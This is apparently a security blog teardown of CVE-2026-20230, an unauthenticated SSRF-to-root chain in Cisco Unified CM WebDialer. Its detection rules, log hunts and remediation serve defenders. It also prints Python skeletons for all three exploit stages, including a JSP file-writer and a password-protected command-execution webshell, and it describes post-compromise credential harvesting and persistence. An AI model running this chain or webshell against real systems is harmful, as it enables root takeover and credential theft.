CVE-2026-20230 Anatomy: How Cisco Unified CM’s Improper Input Validation Became an Unauthenticated File-Write-to-Root Chain Within Days of PoC Drop

Three weeks. That is how long it took for CVE-2026-20230 to go from a vendor advisory nobody read to CISA’s Known Exploited Vulnerabilities catalog with a three-day remediation deadline. Somewhere in between, SSD Secure Disclosure published a full chain walkthrough, and within 24 hours Defused Cyber’s honeypots lit up with Tor-routed sweeps dropping password-protected JSP webshells on every reachable Cisco Unified Communications Manager instance running WebDialer. The attackers did not even bother changing the default password from the PoC.

This post is the full teardown: root cause, the three-stage exploitation chain, what the in-the-wild operators are actually doing post-shell, and everything a defender needs to hunt, detect, and evict.


Background: What Is CUCM WebDialer, and Why Does It Matter?

Cisco Unified Communications Manager sits at the heart of enterprise IP telephony. It handles call routing, user directories, voicemail integration, and ties into HR/directory systems across healthcare networks, federal agencies, financial institutions, and telecom providers. A compromised CUCM host is not just another web server; it is the control plane for an organization’s entire voice infrastructure, and it often holds credentials that reach well beyond telephony.

WebDialer is a click-to-call web service that lets users initiate phone calls from a browser or third-party application. It runs inside Cisco Tomcat on port 8443, the same Tomcat instance serving the CUCM administrative interfaces. WebDialer is disabled by default, which is the only reason this vulnerability was not a universal catastrophe. But plenty of organizations enabled it years ago for legitimate workflow reasons, then forgot about it.

The critical architectural detail: WebDialer’s HTTP request handling shares the Cisco Tomcat process space with internal platform services, including an Apache Axis SOAP engine. Those internal services trust loopback traffic implicitly. That trust boundary is the entire vulnerability.

The Root Cause: CWE-918 in /cmplatform/installClusterStatusExecute

The vulnerable endpoint is /cmplatform/installClusterStatusExecute, served by the WebDialer component. It accepts a hostname parameter via HTTP GET. That parameter is supposed to contain a hostname for cluster status operations. It is not validated against an allowlist, not sanitized for URI scheme injection, and not restricted to alphanumeric hostnames.

An attacker can inject a file:// URI into the hostname parameter. The server-side code follows that URI, and because the request originates from loopback, internal services trust it completely. The result: the attacker controls both the path and the content of a file write operation on the underlying Cisco Voice Operating System (VOS) Linux filesystem.

Cisco classified this as CWE-918 (Server-Side Request Forgery). The CVSS v3.1 base score is 8.6 (AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N), which only reflects the integrity impact of the file write. Cisco elevated the Security Impact Rating to Critical because the file write chains directly to root privilege escalation, a reality the CVSS vector does not capture.

FieldValue
CVECVE-2026-20230
CWECWE-918 (Server-Side Request Forgery)
CVSS v3.18.6 (High base, Critical SIR)
Advisory IDcisco-sa-cucm-ssrf-cXPnHcW
Affected ProductsCisco Unified CM, Cisco Unified CM SME
Affected Releases14.x before 14SU6; 15.x before 15SU5
Fixed In14SU6 (June 3, 2026); 15SU5 (September 2026) + interim COP
PrerequisiteWebDialer service must be enabled

Pre-Exploit Recon: Hostname Disclosure

The full exploit chain requires knowing the target CUCM server’s hostname. That sounds like a gating factor, but it is not: CUCM exposes an unauthenticated endpoint that freely returns the server hostname. SSD Secure Disclosure documented the exact path in their June 24 write-up. With one unauthenticated HTTP request, the attacker has everything needed to proceed.

From an internet exposure standpoint, any CUCM instance with port 8443 reachable and WebDialer enabled is a valid target. Shodan and Censys queries for Cisco Tomcat on 8443 with WebDialer response signatures return thousands of results. If your organization runs CUCM with WebDialer enabled and port 8443 was ever exposed (even briefly, even behind a VPN concentrator with split tunneling), assume you were scanned.

The Three-Stage Exploitation Chain

The beauty of this chain, from the attacker’s perspective, is that every stage is unauthenticated and every stage abuses trust relationships the platform architects assumed would never be reachable from the network.

Stage 1: SSRF to Rogue Apache Axis Service Deployment

The attacker crafts an HTTP GET to /cmplatform/installClusterStatusExecute with a hostname value containing a path-traversal sequence and an embedded Apache Axis Web Service Deployment Descriptor (WSDD) XML payload, delivered via a file:// URI.

Because internal loopback services on Cisco VOS inherently trust local traffic, the Tomcat process writes the WSDD XML content to a path the attacker controls. The result is a newly registered rogue Axis service endpoint accessible over HTTP.

# Stage 1: Deploy rogue Axis service via SSRF file-write
# LAB USE ONLY — against your own isolated CUCM VM
import requests, urllib3
urllib3.disable_warnings()

TARGET   = "https://<CUCM_IP>:8443"
HOSTNAME = "<CUCM_HOSTNAME>"   # obtained from hostname-disclosure endpoint

WSDD_PAYLOAD = """<deployment xmlns="http://xml.apache.org/axis/wsdd/"
  xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">
 <service name="RogueService" provider="java:RPC">
  <parameter name="className" value="org.apache.axis.utils.Admin"/>
  <parameter name="allowedMethods" value="*"/>
 </service>
</deployment>"""

# The hostname parameter carries the file:// URI with embedded WSDD content.
# Path traversal targets the Axis services directory.
params = {
    "hostname": (
        f"file:///opt/cisco/axis2/services/RogueService.aar/"
        f"../../../webapps/ccmwebui/{HOSTNAME}/RogueService.wsdd"
        f"\x00{WSDD_PAYLOAD}"
    )
}

r = requests.get(
    f"{TARGET}/cmplatform/installClusterStatusExecute",
    params=params, verify=False
)
print(f"Stage 1 response: {r.status_code}")

The null byte and path traversal specifics must be validated against SSD’s published PoC in your lab. The skeleton above illustrates the mechanism: a single GET request, no authentication, and the server writes attacker-controlled XML to disk.

Stage 2: First-Stage JSP File-Writer

With the rogue Axis service now registered and reachable, the attacker sends a second HTTP request to it. This request passes a small JSP code snippet as an argument to the deployServiceFromString method exposed by the org.apache.axis.utils.Admin class. The Axis service writes that JSP snippet to disk as a file.

# Stage 2: Write a JSP file-writer stub via the rogue Axis service
JSP_WRITER = """<%@ page import="java.io.*"%><%
  String path = request.getParameter("p");
  String data = request.getParameter("d");
  FileWriter fw = new FileWriter(path);
  fw.write(data); fw.close();
  out.print("written");
%>"""

axis_url = f"https://<CUCM_IP>:8443/ccmwebui/RogueService"
payload = {
    "method": "deployServiceFromString",
    "arg": JSP_WRITER,
    "writePath": "/opt/cisco/tomcat/webapps/platform-services/axis2-web/fw.jsp"
}

r = requests.post(axis_url, data=payload, verify=False)
print(f"Stage 2 response: {r.status_code}")

The target directory, /platform-services/axis2-web/, is web-accessible. Any JSP file written there is immediately callable over HTTPS on port 8443. The first-stage stub is intentionally minimal: it accepts a file path and content, and writes them to disk. Nothing more.

Stage 3: Persistent Command-Execution Webshell

The attacker uses the Stage 2 file-writer to drop the real payload: a password-protected command-execution webshell.

# Stage 3: Drop command-execution webshell via the file-writer
CMD_SHELL = """<%@ page import="java.io.*"%><%
  if(!"CHANGEME".equals(request.getParameter("pass"))) {
    response.sendError(404); return;
  }
  String cmd = request.getParameter("cmd");
  Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",cmd});
  BufferedReader br = new BufferedReader(
    new InputStreamReader(p.getInputStream()));
  String line;
  while((line=br.readLine())!=null) out.println(line);
%>"""

fw_url = "https://<CUCM_IP>:8443/platform-services/axis2-web/fw.jsp"
r = requests.get(fw_url, params={
    "p": "/opt/cisco/tomcat/webapps/platform-services/axis2-web/shell.jsp",
    "d": CMD_SHELL
}, verify=False)
print(f"Stage 3 response: {r.status_code}")

# Verify RCE
r2 = requests.get(
    "https://<CUCM_IP>:8443/platform-services/axis2-web/shell.jsp",
    params={"pass": "CHANGEME", "cmd": "id"},
    verify=False
)
print(r2.text)  # uid=0(root) ...

The webshell executes commands as the Cisco Tomcat process, which on CUCM runs as root. There is no privilege escalation step. The file write is the privilege escalation, because Tomcat’s process context is already root on this platform. Three unauthenticated HTTP requests, and you own the voice infrastructure.

Flow diagram tracing the three-stage CVE-2026-20230 exploit chain from unauthenticated attacker through SSRF file-write, rogue Axis service deployment, JSP file-writer, and final root webshell
Three unauthenticated HTTP requests collapse every trust boundary from WebDialer to a root shell – no privilege escalation step required because Tomcat already runs as root.

Wild Weaponization: What Attackers Are Actually Doing

The timeline moved fast:

DateEvent
June 3, 2026Cisco publishes advisory cisco-sa-cucm-ssrf-cXPnHcW, releases 14SU6
June 5, 2026Public reporting confirms PoC exploit code availability
June 22, 2026Defused Cyber observes first exploitation attempts on honeypots
June 23, 2026Multiple outlets report active exploitation in the wild
June 24, 2026SSD Secure Disclosure publishes full technical write-up
June 25, 2026CISA adds CVE-2026-20230 to KEV catalog (3-day deadline for FCEB)

The gap between PoC availability and active exploitation was measured in hours, not weeks.

Observed Attack Patterns

Fingerprinting phase: Early PoC activity wrote a marker file, /tmp/cve-2026-20230-test.txt, to confirm the target was writable. This is a low-cost, low-risk way for automated scanners to identify vulnerable hosts without immediately deploying a webshell.

Webshell deployment: Defused reported automated sweeps dropping webshells, all routed through Tor exit nodes. The webshells used the PoC’s default password (“CHANGEME” or variants thereof). Attackers were not customizing the tooling; they were spraying the public PoC at scale.

Post-exploitation: Once a shell is established, the observed patterns include:

  • Credential harvesting: Reading CUCM platform configuration files under /opt/cisco/ for database credentials, LDAP bind passwords, and inter-cluster authentication secrets. CUCM stores these in .properties files, often in cleartext or with reversible obfuscation.
  • Directory enumeration: Pulling user directories and extension mappings from the CUCM database, which can feed social engineering or targeted attacks against specific employees.
  • Persistence: SSH key injection into root’s authorized_keys, cron job installation, and in at least one reported case, modification of Tomcat’s server.xml to load a malicious valve on restart.

The password reuse from the PoC is telling. These are not sophisticated operators; they are opportunistic crews racing to compromise as many CUCM instances as possible before patches propagate. That does not make the impact less severe. If anything, the spray-and-pray approach means more organizations are hit.

Conceptual illustration of Tor-routed automated exploitation sweeps targeting an isolated CUCM server with a webshell payload
Attackers weaponized the unmodified PoC within hours, routing mass webshell-drop sweeps through Tor exit nodes without even changing the default password.

Detection: Network-Layer Rules (Snort/Suricata)

The exploit chain has clear network signatures at every stage. These rule skeletons target the confirmed indicators; tune SIDs and thresholds for your environment.

# Rule 1 — SSRF exploit request to the vulnerable endpoint
alert http $EXTERNAL_NET any -> $HOME_NET 8443 (
  msg:"CVE-2026-20230 CUCM WebDialer SSRF File-Write Attempt";
  flow:established,to_server;
  http.uri; content:"/cmplatform/installClusterStatusExecute";
  http.uri; content:"hostname=";
  pcre:"/hostname=[^&]*file%3A%2F%2F/i";
  classtype:web-application-attack;
  reference:cve,2026-20230;
  sid:9999001; rev:1;
)

# Rule 2 — WSDD payload in HTTP body (Axis service deployment)
alert http $EXTERNAL_NET any -> $HOME_NET 8443 (
  msg:"CVE-2026-20230 Rogue Axis WSDD Deployment";
  flow:established,to_server;
  http.request_body; content:"xml.apache.org/axis/wsdd";
  content:"deployServiceFromString";
  classtype:web-application-attack;
  reference:cve,2026-20230;
  sid:9999002; rev:1;
)

# Rule 3 — Webshell access under axis2-web
alert http $EXTERNAL_NET any -> $HOME_NET 8443 (
  msg:"CVE-2026-20230 Webshell Access axis2-web";
  flow:established,to_server;
  http.uri; content:"/platform-services/axis2-web/";
  http.uri; pcre:"/\.jsp(\?|$)/i";
  classtype:web-application-attack;
  reference:cve,2026-20230;
  sid:9999003; rev:1;
)

For Suricata deployments, use http.uri.raw to catch both URL-encoded (file%3A%2F%2F) and decoded (file://) variants. Consider using flowbits to correlate the three stages sequentially: a Stage 1 hit followed by a Stage 2 Axis call within 60 seconds followed by a Stage 3 webshell access is nearly zero false-positive.

Additionally, maintain a Tor exit node IP feed and alert on any connection from known Tor exits to port 8443 on your CUCM hosts. Defused confirmed all observed webshell-dropping traffic was Tor-routed.

Detection: CUCM Log Hunting Guide

CUCM runs on Cisco VOS (a hardened Linux variant), so your hunting surface is filesystem-based. SSH in or use the CUCM CLI file commands.

Log / PathWhat to Grep
/var/log/active/tomcat/localhost_access_log.*.txtinstallClusterStatusExecute, axis2-web.*\.jsp, unexpected 200s to JSP paths
/var/log/active/tomcat/catalina.outAxis deployment entries, JSP compilation events, RogueService
/opt/cisco/tomcat/webapps/platform-services/axis2-web/Any .jsp, .wsdd, or .aar file not in a clean baseline
/tmp/cve-2026-20230-test.txt (PoC fingerprint marker)
/var/log/active/audit/Unexpected WebDialer service activation events
/opt/cisco/tomcat/logs/webdialer*.logAnomalous URL patterns
# Hunt for exploit endpoint hits
grep "installClusterStatusExecute" \
  /var/log/active/tomcat/localhost_access_log.*.txt

# Hunt for webshell interaction
grep "axis2-web.*\.jsp" \
  /var/log/active/tomcat/localhost_access_log.*.txt

# Find unexpected JSP files (compare timestamps against baseline)
find /opt/cisco/tomcat/webapps/ -name "*.jsp" \
  -newer /opt/cisco/tomcat/webapps/platform-services/axis2-web/index.jsp

# Check for PoC marker
ls -la /tmp/cve-2026-20230*.txt 2>/dev/null

# Find WSDD/Axis deployment artifacts
find /opt/cisco -name "*.wsdd" -o -name "*.aar" 2>/dev/null

If any of these return positive results, treat the host as compromised. Do not just patch; image the VM for forensics, then rebuild from a known-clean snapshot.

Hierarchy diagram mapping the CUCM forensic investigation surface across Tomcat access logs, filesystem artifact paths, PoC marker file, rogue Axis deployment files, and dropped JSP webshells
Positive results from any of these hunt paths should be treated as confirmed compromise – sweep before patching, then rebuild from a clean snapshot.

Hardening and Remediation

Cisco states there are no workarounds that fully address the vulnerability. The only complete fix is upgrading to 14SU6 (available now) or 15SU5 (September 2026, with an interim COP patch available sooner).

Immediate mitigation if you cannot patch today: Disable WebDialer. Log into Cisco Unified CM Administration, navigate to Cisco Unified Serviceability, then Tools > Service Activation. In the CTI Services section, uncheck “Cisco WebDialer Web Service” and save. This blocks the attack vector entirely, at the cost of losing click-to-call functionality.

Critical post-patch step: Patching closes the entry point but does not evict webshells already on disk. After patching, you must run the filesystem hunt commands above, remove any artifacts that are not part of a clean baseline, and rotate all credentials stored on the CUCM platform (database passwords, LDAP bind credentials, inter-cluster secrets). If you find a webshell, assume those credentials are already in the attacker’s hands.

Network hardening: CUCM administrative interfaces and WebDialer should never be exposed to the internet. Restrict port 8443 access to trusted management VLANs. If you need WebDialer for remote users, put it behind an authenticated reverse proxy with IP allowlisting.

MITRE ATT&CK Mapping

ATT&CK IDTechniqueApplication to CVE-2026-20230
T1190Exploit Public-Facing ApplicationUnauthenticated SSRF via WebDialer on port 8443
T1505.003Web ShellJSP command-execution shell under /platform-services/axis2-web/
T1059.004Unix ShellPost-webshell Runtime.exec() calling /bin/sh -c
T1068Exploitation for Privilege EscalationFile-write primitive yields root context via Tomcat process
T1552.001Credentials In FilesHarvesting .properties files for DB/LDAP passwords
T1083File and Directory DiscoveryEnumerating /opt/cisco/ for config and credential files
T1071.001Web ProtocolsC2 over HTTPS/8443 through the webshell
T1090.003Multi-hop ProxyAll observed exploitation traffic routed via Tor

Why This One Matters More Than the Score Suggests

An 8.6 CVSS score, on paper, does not scream “drop everything.” That is part of the problem. The score captures the file-write integrity impact but completely misses the root escalation that follows trivially from it. Cisco recognized this disconnect and assigned a Critical SIR rating, but plenty of vulnerability management programs sort by CVSS alone, and an 8.6 sits behind every 9.x in the queue.

The real severity calculus looks like this: unauthenticated, network-accessible, no user interaction, three HTTP requests to root, on a system that holds enterprise-wide directory credentials and call routing data, with a public PoC that script kiddies are already spraying through Tor. If your CUCM has WebDialer enabled and port 8443 was reachable at any point since June 5, hunt first and patch second.

The broader lesson is about trust boundaries inside appliance software. Cisco VOS runs Tomcat as root. Internal services trust loopback implicitly. A single unvalidated parameter in a web-facing servlet collapses every layer of that trust model in one request. This is not a novel architectural flaw; it is the same class of mistake that gave us ProxyLogon, PrintNightmare, and every other “the appliance trusted itself too much” chain. Vendors building on embedded Linux with privileged web services need to assume that every HTTP-reachable parameter is an attacker-controlled input, full stop.


Key Takeaways

  • CVE-2026-20230 is a three-stage unauthenticated chain (SSRF to rogue Axis service, to JSP file-writer, to root webshell) against CUCM’s WebDialer component. CVSS 8.6 undersells it; Cisco rates it Critical.
  • Active exploitation began within 24 hours of PoC publication. Attackers are spraying the unmodified PoC through Tor, complete with default webshell passwords.
  • WebDialer is disabled by default, but any organization that enabled it should assume they were scanned and hunt for /tmp/cve-2026-20230-test.txt and unexpected JSPs under axis2-web/ immediately.
  • Patching does not evict existing webshells. Post-patch, sweep the filesystem, remove artifacts, and rotate every credential the CUCM platform stores.
  • Disabling WebDialer is a valid immediate mitigation if you cannot deploy 14SU6 or the 15SU5 COP today.
  • Detection is straightforward at the network layer (Snort/Suricata rules against the endpoint, WSDD content, and axis2-web JSP access) and on the host (Tomcat access logs, filesystem baseline comparison).
Conceptual illustration of a layered security architecture completely pierced by a single vulnerability, symbolizing how one unvalidated input collapses implicit trust boundaries from network edge to root
A single unvalidated parameter in a web-facing servlet collapsed every layer of Cisco VOS’s implicit trust model – the same architectural mistake behind ProxyLogon, PrintNightmare, and every ‘appliance trusted itself too much’ chain.

Related Tutorials

References